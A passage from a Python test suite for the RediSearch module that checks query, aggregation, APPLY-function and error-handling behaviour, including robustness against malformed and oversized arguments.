'bad', '0').error() if not env.isCluster(): # todo: remove once fix on coordinator env.expect('ft.aggregate', 'idx', '*', 'GROUPBY', '1', '@test', 'REDUCE', 'SUM', '1', '@test1').error() def testGroupbyWithSort(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '1').equal('OK') env.expect('ft.add', 'idx', 'doc2', '1.0', 'FIELDS', 'test', '1').equal('OK') env.expect('ft.add', 'idx', 'doc3', '1.0', 'FIELDS', 'test', '2').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'SORTBY', '2', '@test', 'ASC', 'GROUPBY', '1', '@test', 'REDUCE', 'COUNT', '0', 'as', 'count').equal([2L, ['test', '2', 'count', '1'], ['test', '1', 'count', '2']]) def testApplyError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'APPLY', 'split(@test)', 'as').error() def testLoadError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'LOAD', 'bad').error() env.expect('ft.aggregate', 'idx', '*', 'LOAD', 'bad', 'test').error() env.expect('ft.aggregate', 'idx', '*', 'LOAD', '2', 'test').error() env.expect('ft.aggregate', 'idx', '*', 'LOAD', '2', '@test').error() def testMissingArgsError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.aggregate', 'idx').error() def testUnexistsScorer(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT', 'SORTABLE').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.search', 'idx', '*', 'SCORER', 'bad').error() def testHighlightWithUnknowsProperty(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'HIGHLIGHT', 'FIELDS', '1', 'test1').error() def testBadFilterExpression(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'FILTER', 'blabla').error() if not env.isCluster(): # todo: remove once fix on coordinator env.expect('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'FILTER', '@test1 > 1').error() def testWithSortKeysOnNoneSortableValue(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.search', 'idx', '*', 'WITHSORTKEYS', 'SORTBY', 'test').equal([1L, 'doc1', '$foo', ['test', 'foo']]) def testWithWithRawIds(env): env.skipOnCluster() # todo: remove once fix on coordinator env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') waitForIndex(env, 'idx') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.search', 'idx', '*', 'WITHRAWIDS').equal([1L, 'doc1', 1L, ['test', 'foo']]) def testUnkownIndex(env): env.skipOnCluster() # todo: remove once fix on coordinator env.expect('ft.aggregate').error() env.expect('ft.aggregate', 'idx', '*').error() env.expect('ft.aggregate', 'idx', '*', 'WITHCURSOR').error() def testExplainError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('FT.EXPLAIN', 'idx', '(').error() def testBadCursor(env): env.expect('FT.CURSOR', 'READ', 'idx').error() env.expect('FT.CURSOR', 'READ', 'idx', '1111').error() env.expect('FT.CURSOR', 'READ', 'idx', 'bad').error() env.expect('FT.CURSOR', 'DROP', 'idx', '1111').error() env.expect('FT.CURSOR', 'bad', 'idx', '1111').error() def testGroupByWithApplyError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') err = env.cmd('FT.AGGREGATE', 'idx', '*', 'APPLY', 'split()', 'GROUPBY', '1', '@test', 'REDUCE', 'COUNT', '0', 'AS', 'count')[1] assertEqualIgnoreCluster(env, str(err[0]), 'Invalid number of arguments for split') def testSubStrErrors(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') err = env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'matched_terms()', 'as', 'a', 'APPLY', 'substr(@a,0,4)')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test2', 'APPLY', 'substr("test",3,-2)', 'as', 'a') env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test2', 'APPLY', 'substr("test",3,1000)', 'as', 'a') env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test2', 'APPLY', 'substr("test",-1,2)', 'as', 'a') env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test2', 'APPLY', 'substr("test")', 'as', 'a') env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test2', 'APPLY', 'substr(1)', 'as', 'a') env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test2', 'APPLY', 'substr("test", "test")', 'as', 'a') env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test2', 'APPLY', 'substr("test", "test", "test")', 'as', 'a') env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test2', 'APPLY', 'substr("test", "-1", "-1")', 'as', 'a') env.assertTrue(env.isUp()) def testToUpperLower(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'lower(@test)', 'as', 'a').equal([1L, ['test', 'foo', 'a', 'foo']]) env.expect('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'lower("FOO")', 'as', 'a').equal([1L, ['test', 'foo', 'a', 'foo']]) env.expect('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'upper(@test)', 'as', 'a').equal([1L, ['test', 'foo', 'a', 'FOO']]) env.expect('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'upper("foo")', 'as', 'a').equal([1L, ['test', 'foo', 'a', 'FOO']]) err = env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'upper()', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'lower()', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) env.expect('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'upper(1)', 'as', 'a').equal([1L, ['test', 'foo', 'a', None]]) env.expect('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'lower(1)', 'as', 'a').equal([1L, ['test', 'foo', 'a', None]]) assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'upper(1,2)', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'lower(1,2)', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) def testMatchedTerms(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') env.expect('ft.aggregate', 'idx', '*', 'LOAD', '1', '@test', 'APPLY', 'matched_terms()', 'as', 'a').equal([1L, ['test', 'foo', 'a', None]]) env.expect('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'matched_terms()', 'as', 'a').equal([1L, ['test', 'foo', 'a', ['foo']]]) env.expect('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'matched_terms(100)', 'as', 'a').equal([1L, ['test', 'foo', 'a', ['foo']]]) env.expect('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'matched_terms(-100)', 'as', 'a').equal([1L, ['test', 'foo', 'a', ['foo']]]) env.expect('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'matched_terms("test")', 'as', 'a').equal([1L, ['test', 'foo', 'a', ['foo']]]) def testStrFormatError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'TEXT').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', 'foo').equal('OK') err = env.cmd('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'format()', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'format("%s")', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'format("%", "test")', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'format("%b", "test")', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'format(5)', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) env.expect('ft.aggregate', 'idx', 'foo', 'LOAD', '1', '@test', 'APPLY', 'upper(1)', 'as', 'b', 'APPLY', 'format("%s", @b)', 'as', 'a').equal([1L, ['test', 'foo', 'b', None, 'a', '(null)']]) # working example env.expect('ft.aggregate', 'idx', 'foo', 'APPLY', 'format("%%s-test", "test")', 'as', 'a').equal([1L, ['a', '%s-test']]) env.expect('ft.aggregate', 'idx', 'foo', 'APPLY', 'format("%s-test", "test")', 'as', 'a').equal([1L, ['a', 'test-test']]) def testTimeFormatError(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '12234556').equal('OK') err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'timefmt()', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) if not env.isCluster(): # todo: remove once fix on coordinator env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'timefmt(@test1)', 'as', 'a').error() env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'timefmt(@test)', 'as', 'a') env.assertTrue(env.isUp()) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'timefmt(@test, 4)', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'timefmt("awfawf")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'timefmt(235325153152356426246246246254)', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'timefmt(@test, "%s")' % ('d' * 2048), 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'hour("not_number")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'minute("not_number")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'day("not_number")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'month("not_number")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'dayofweek("not_number")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'dayofmonth("not_number")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'dayofyear("not_number")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'year("not_number")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'monthofyear("not_number")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) def testMonthOfYear(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '12234556').equal('OK') env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'monthofyear(@test)', 'as', 'a').equal([1L, ['test', '12234556', 'a', '4']]) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'monthofyear(@test, 112)', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'monthofyear()', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'monthofyear("bad")', 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) def testParseTimeErrors(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '12234556').equal('OK') err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'parse_time()', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'parse_time(11)', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'parse_time(11,22)', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'parse_time("%s", "%s")' % ('d' * 2048, 'd' * 2048), 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'parse_time("test", "%s")' % ('d' * 2048), 'as', 'a').equal([1L, ['test', '12234556', 'a', None]]) def testMathFunctions(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '12234556').equal('OK') env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'exp(@test)', 'as', 'a').equal([1L, ['test', '12234556', 'a', 'inf']]) env.expect('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'ceil(@test)', 'as', 'a').equal([1L, ['test', '12234556', 'a', '12234556']]) def testErrorOnOpperation(env): env.expect('FT.CREATE', 'idx', 'ON', 'HASH', 'SCHEMA', 'test', 'NUMERIC').equal('OK') env.expect('ft.add', 'idx', 'doc1', '1.0', 'FIELDS', 'test', '12234556').equal('OK') err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', '1 + split()', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'split() + 1', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', '"bad" + "bad"', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', 'split("bad" + "bad")', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'LOAD', '1', '@test', 'APPLY', '!(split("bad" + "bad"))', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) err = env.cmd('ft.aggregate', 'idx', '@test:[0..inf]', 'APPLY', '!@test', 'as', 'a')[1] assertEqualIgnoreCluster(env, type(err[0]), redis.exceptions.ResponseError) def testSortkeyUnsortable(env): env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 'test', 'text') env.cmd('ft.add', 'idx', 'doc1', 1, 'fields', 'test', 'foo') rv = env.cmd('ft.aggregate', 'idx', 'foo', 'withsortkeys', 'load', '1', '@test', 'sortby', '1', '@test') env.assertEqual([1, '$foo', ['test', 'foo']], rv) def testIssue919(env): # This only works if the missing field has a lower sortable index # than the present field.. env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 't1', 'text', 'sortable', 'n1', 'numeric', 'sortable') env.cmd('ft.add', 'idx', 'doc1', 1, 'fields', 'n1', 42) rv = env.cmd('ft.search', 'idx', '*', 'sortby', 't1', 'desc') env.assertEqual([1L, 'doc1', ['n1', '42']], rv) def testIssue1074(env): # Ensure that sortable fields are returned in their string form from the # document env.cmd('ft.create', 'idx', 'ON', 'HASH', 'schema', 't1', 'text', 'n1', 'numeric', 'sortable') env.cmd('ft.add', 'idx', 'doc1', 1, 'fields', 't1', 'hello', 'n1', 1581011976800) rv = env.cmd('ft.search', 'idx', '*', 'sortby', 'n1') env.assertEqual([1L, 'doc1', ['n1', '1581011976800', 't1', 'hello']], rv) def testIssue1085(env): env.skipOnCluster() env.cmd('FT.CREATE issue1085 ON HASH SCHEMA foo TEXT SORTABLE bar NUMERIC SORTABLE') for i in range(1, 10): env.cmd('FT.ADD issue1085 document_%d 1 REPLACE FIELDS foo foo%d bar %d' % (i, i, i)) res = env.cmd('FT.SEARCH', 'issue1085', '@bar:[8 8]') env.assertEqual(toSortedFlatList(res), toSortedFlatList([1L, 'document_8', ['foo', 'foo8', 'bar', '8']])) for i in range(1, 10): env.cmd('FT.ADD issue1085 document_8 1 REPLACE FIELDS foo foo8 bar 8') env.expect('ft.debug GC_FORCEINVOKE issue1085').equal('DONE') res = env.cmd('FT.SEARCH', 'issue1085', '@bar:[8 8]') env.assertEqual(toSortedFlatList(res), toSortedFlatList([1, 'document_8', ['foo', 'foo8', 'bar', '8']])) def grouper(iterable, n, fillvalue=None): "Collect data into fixed-length chunks or blocks" from itertools import izip_longest # grouper('ABCDEFG', 3, 'x') --> ABC DEF Gxx args = [iter(iterable)] * n return izip_longest(fillvalue=fillvalue, *args) def to_dict(r): return {r[i]: r[i + 1] for i in range(0, len(r), 2)} def testInfoError(env): env.expect('ft.info', 'no_idx').error() def testIndexNotRemovedFromCursorListAfterRecreated(env): env.expect('FT.CREATE idx ON HASH SCHEMA f1 TEXT').ok() env.expect('FT.AGGREGATE idx * WITHCURSOR').equal([[0], 0]) env.expect('FT.CREATE idx ON HASH SCHEMA f1 TEXT').error() env.expect('FT.AGGREGATE idx * WITHCURSOR').equal([[0], 0]) def testHindiStemmer(env): env.cmd('FT.CREATE', 'idxTest', 'LANGUAGE_FIELD', '__language', 'SCHEMA', 'body', 'TEXT') env.cmd('FT.ADD', 'idxTest', 'doc1', 1.0, 'LANGUAGE', 'hindi', 'FIELDS', 'body', u'अँगरेजी अँगरेजों अँगरेज़') res = env.cmd('FT.SEARCH', 'idxTest', u'अँगरेज़') res1 = {res[2][i]:res[2][i + 1] for i in range(0, len(res[2]), 2)} env.assertEqual(u'अँगरेजी अँगरेजों अँगरेज़', unicode(res1['body'], 'utf-8')) def testMOD507(env): env.skipOnCluster() env.expect('ft.create idx ON HASH SCHEMA t1 TEXT').ok() for i in range(50): env.expect('ft.add idx doc-%d 1.0 FIELDS t1 foo' % i).ok() for i in range(50): env.expect('del doc-%d' % i).equal(1) res = env.cmd('FT.SEARCH', 'idx', '*', 'WITHSCORES', 'SUMMARIZE', 'FRAGS', '1', 'LEN', '25', 'HIGHLIGHT', 'TAGS', "<span style='background-color:yellow'>", "</span>") # from redisearch 2.0, docs are removed from index when `DEL` is called env.assertEqual(len(res), 1) def testUnseportedSortableTypeErrorOnTags(env): env.skipOnCluster() env.expect('FT.CREATE idx ON HASH SCHEMA f1 TEXT SORTABLE f2 NUMERIC SORTABLE NOINDEX f3 TAG SORTABLE NOINDEX f4 TEXT SORTABLE NOINDEX').ok() env.expect('FT.ADD idx doc1 1.0 FIELDS f1 foo1 f2 1 f3 foo1 f4 foo1').ok() env.expect('FT.ADD idx doc1 1.0 REPLACE PARTIAL FIELDS f2 2 f3 foo2 f4 foo2').ok() res = env.cmd('HGETALL doc1') env.assertEqual(toSortedFlatList(res), toSortedFlatList(['f1', 'foo1', 'f2', '2', 'f3', 'foo2', 'f4', 'foo2', '__score', '1.0'])) res = env.cmd('FT.SEARCH idx *') env.assertEqual(toSortedFlatList(res), toSortedFlatList([1L, 'doc1', ['f1', 'foo1', 'f2', '2', 'f3', 'foo2', 'f4', 'foo2']])) def testIssue1158(env): env.cmd('FT.CREATE idx ON HASH SCHEMA txt1 TEXT txt2 TEXT txt3 TEXT') env.cmd('FT.ADD idx doc1 1.0 FIELDS txt1 10 txt2 num1') res = env.cmd('FT.GET idx doc1') env.assertEqual(toSortedFlatList(res), toSortedFlatList(['txt1', '10', 'txt2', 'num1'])) # only 1st checked (2nd returns an error) env.expect('FT.ADD idx doc1 1.0 REPLACE PARTIAL if @txt1||to_number(@txt2)<5 FIELDS txt1 5').equal('OK') env.expect('FT.ADD idx doc1 1.0 REPLACE PARTIAL if @txt3&&to_number(@txt2)<5 FIELDS txt1 5').equal('NOADD') # both are checked env.expect('FT.ADD idx doc1 1.0 REPLACE PARTIAL if to_number(@txt1)>11||to_number(@txt1)>42 FIELDS txt2 num2').equal('NOADD') env.expect('FT.ADD idx doc1 1.0 REPLACE PARTIAL if to_number(@txt1)>11||to_number(@txt1)<42 FIELDS txt2 num2').equal('OK') env.expect('FT.ADD idx doc1 1.0 REPLACE PARTIAL if to_number(@txt1)>11&&to_number(@txt1)>42 FIELDS txt2 num2').equal('NOADD') env.expect('FT.ADD idx doc1 1.0 REPLACE PARTIAL if to_number(@txt1)>11&&to_number(@txt1)<42 FIELDS txt2 num2').equal('NOADD') res = env.cmd('FT.GET idx doc1') env.assertEqual(toSortedFlatList(res), toSortedFlatList(['txt1', '5', 'txt2', 'num2'])) def testIssue1159(env): env.cmd('FT.CREATE idx ON HASH SCHEMA f1 TAG') for i in range(1000): env.cmd('FT.add idx doc%d 1.0 FIELDS f1 foo' % i) def testIssue1169(env): env.cmd('FT.CREATE idx ON HASH SCHEMA txt1 TEXT txt2 TEXT') env.cmd('FT.ADD idx doc1 1.0 FIELDS txt1 foo') env.expect('FT.AGGREGATE idx foo GROUPBY 1 @txt1 REDUCE FIRST_VALUE 1 @txt2 as test').equal([1L, ['txt1', 'foo', 'test', None]]) def testIssue1184(env): env.skipOnCluster() field_types = ['TEXT', 'NUMERIC', 'TAG'] env.assertOk(env.execute_command('ft.config', 'set', 'FORK_GC_CLEAN_THRESHOLD', 0)) for ft in field_types: env.assertOk(env.execute_command('FT.CREATE idx ON HASH SCHEMA field ' + ft)) res = env.execute_command('ft.info', 'idx') d = {res[i]: res[i + 1] for i in range(0, len(res), 2)} env.assertEqual(d['inverted_sz_mb'], '0') env.assertEqual(d['num_records'], '0') value = '42' env.assertOk(env.execute_command('FT.ADD idx doc0 1 FIELD field ' + value)) doc = env.cmd('FT.SEARCH idx *') env.assertEqual(doc, [1L, 'doc0', ['field', value]]) res = env.execute_command('ft.info', 'idx') d = {res[i]: res[i + 1] for i in range(0, len(res), 2)} env.assertGreater(d['inverted_sz_mb'], '0') env.assertEqual(d['num_records'], '1') env.assertEqual(env.execute_command('FT.DEL idx doc0'), 1) env.cmd('ft.debug', 'GC_FORCEINVOKE', 'idx') res = env.execute_command('ft.info', 'idx') d = {res[i]: res[i + 1] for i in range(0, len(res), 2)} env.assertEqual(d['inverted_sz_mb'], '0') env.assertEqual(d['num_records'], '0') env.cmd('FT.DROP idx') env.cmd('DEL doc0') def testIndexListCommand(env): env.expect('FT.CREATE idx1 ON HASH SCHEMA n NUMERIC').ok() env.expect('FT.CREATE idx2 ON HASH SCHEMA n NUMERIC').ok() res = env.cmd('FT._LIST') env.assertEqual(set(res), set(['idx1', 'idx2'])) env.expect('FT.DROP idx1').ok() env.expect('FT._LIST').equal(['idx2']) env.expect('FT.CREATE idx3 ON HASH SCHEMA n NUMERIC').ok() res = env.cmd('FT._LIST') env.assertEqual(set(res), set(['idx2', 'idx3'])) def testIssue1208(env): env.cmd('FT.CREATE idx ON HASH SCHEMA n NUMERIC') env.cmd('FT.ADD idx doc1 1 FIELDS n 1.0321e5') env.cmd('FT.ADD idx doc2 1 FIELDS n 101.11') env.cmd('FT.ADD idx doc3 1 FIELDS n 0.0011') env.expect('FT.SEARCH', 'idx', '@n:[1.1432E3 inf]').equal([1L, 'doc1', ['n', '1.0321e5']]) env.expect('FT.SEARCH', 'idx', '@n:[-1.12E-3 1.12E-1]').equal([1L, 'doc3', ['n', '0.0011']]) res = [3L, 'doc1', ['n', '1.0321e5'], 'doc2', ['n', '101.11'], 'doc3', ['n', '0.0011']] env.expect('FT.SEARCH', 'idx', '@n:[-inf inf]').equal(res) env.expect('FT.ADD idx doc3 1 REPLACE PARTIAL IF @n>42e3 FIELDS n 100').equal('NOADD') env.expect('FT.ADD idx doc3 1 REPLACE PARTIAL IF @n<42e3 FIELDS n 100').ok() # print env.cmd('FT.SEARCH', 'idx', '@n:[-inf inf]') def testFieldsCaseSensetive(env): # this test will not pass on coordinator coorently as if one shard return empty results coordinator # will not reflect the errors env.skipOnCluster() conn = getConnectionByEnv(env) env.cmd('FT.CREATE idx ON HASH SCHEMA n NUMERIC f TEXT t TAG g GEO') # make sure text fields are case sesitive conn.execute_command('hset', 'doc1', 'F', 'test') conn.execute_command('hset', 'doc2', 'f', 'test') env.expect('ft.search idx @f:test').equal([1L, 'doc2', ['f', 'test']]) env.expect('ft.search idx @F:test').equal([0]) # make sure numeric fields are case sesitive conn.execute_command('hset', 'doc3', 'N', '1.0') conn.execute_command('hset', 'doc4', 'n', '1.0') env.expect('ft.search', 'idx', '@n:[0 2]').equal([1L, 'doc4', ['n', '1.0']]) env.expect('ft.search', 'idx', '@N:[0 2]').equal([0]) # make sure tag fields are case sesitive conn.execute_command('hset', 'doc5', 'T', 'tag') conn.execute_command('hset', 'doc6', 't', 'tag') env.expect('ft.search', 'idx', '@t:{tag}').equal([1L, 'doc6', ['t', 'tag']]) env.expect('ft.search', 'idx', '@T:{tag}').equal([0]) # make sure geo fields are case 